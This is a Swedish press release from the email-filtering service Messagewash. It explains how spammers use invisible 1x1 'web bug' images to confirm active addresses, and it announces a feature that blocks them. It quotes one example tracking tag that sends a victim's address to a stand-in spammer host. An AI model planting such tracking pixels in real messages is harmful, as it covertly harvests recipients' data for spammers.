30/08-04   -   Pressemeddelelse

Spammare vet när du öppnar eposten - stoppas av ny teknik

Många av dom som drabbas av spam vet att det oftast är lönlöst att klicka på "unsubscribe" då det alltför ofta endast resulterar i att man får mer spam eftersom spammaren då får ett kvitto på att epostadressen är aktiv.

Vad dom allra flesta inte vet är att spammaren kan verifiera en epostadress bara genom att användaren öppnar brevet eller har sin epostklient inställd på att förhandsgranska meddelandet.

Spammaren använder en teknik som kallas "web bugs" där "bug" inte syftar på fel i programvara, utan istället avlyssningsutrustning.

Ett exempel på hur en webb-bugg kan se ut är följande: img height="1" width="1" src="http://elak.spammare.se/harvest.pl?drabbad@oskyldig.se"

Det spammaren gör är att han inkluderar en speciell HTML-tag i meddelandet, som i sin tur pekar på en webbserver som kör ett script som visar en genomskinlig gif med 1*1 pixels storlek. Som medargument till bildlänken kan han skicka tex. en epostadress eller ett unikt idnummer. När användaren öppnar meddelandet märker han ingenting då bilden laddas blixtsnabbt och dessutom är genomskinlig. Spammaren får på sin sida en lista med adresser vilka han vet samtliga är aktiva.

Tony Johansson, produktansvarig Messagewash:
"Användandet av webb-buggar är mycket vanligt då spammare vill verifiera att den epostadress man skickar spam till existerar. Adresser som verifierats som aktiva byts eller säljs ofta till andra spammare och betingar ett betydligt högre pris än de man är inte vet är aktiva. När en adress väl är verifierad får den naturligtvis dessutom mycket mer spam."

Messagewash lanserar nu nyutvecklad teknik för att stoppa användandet av webb-buggar i epostmeddelanden.

Henrik Hellerstedt, tekniskt ansvarig Messagewash:
"Messagewash-kunder kan sedan tidigare välja att inaktivera farliga HTML-taggar såsom IFrame, Object codebase och Form-taggar. Nu har vi utökat skyddet så att det även är möjligt att inaktivera misstänkta webb-buggar. Vi räknar med att detta gör att våra kunder löper mycket mindre risk att deras epostadresser kan verifieras som aktiva och att det i förlängningen leder till att mindre spam skickas till dom."

Messagewash kan nu provas kostnadsfritt med full funktionalitet under 30 dagar.
Kontakta Messagewash säljansvarige, Urban Järved på 018-4747029 för mer info.

Presentation av Messagewash
Messagewash är en central, övervakad tjänst där kunden själv inte behöver ta ansvar för drift, underhåll och uppdatering av virus- och spamskydd. E-post levereras först till Messagewash där den tvättas från allt oönskat innehåll, för att sedan levereras ren till kundens e-postserver. Kunden kan via ett webbgränssnitt övervaka trafiken, och själv göra alla inställningar - ner på detaljnivå om så önskas. Messagewash är utvecklat av Uppsalaföretaget Ecure. Svensk återförsäljare och driftpartner är QD System AB.

Messagewash är nominerad som "bästa tekniklösning" till Tidningen ITbranchens Siriuspris 2004 (http://itbranschen.idg.se/tjanster/siriuspriset/)

Presentation av QD System AB
QD startade sin verksamhet 1989 och har idag omkring 60 anställda och omsätter ca 200 Mkr inom fyra tjänsteområden: Utvecklingstjänster, Utbildningstjänster, Tekniktjänster och Produktförsörjning. Geografiskt ligger tyngdpunkten i Mälardalen med kontor i Stockholm och Uppsala.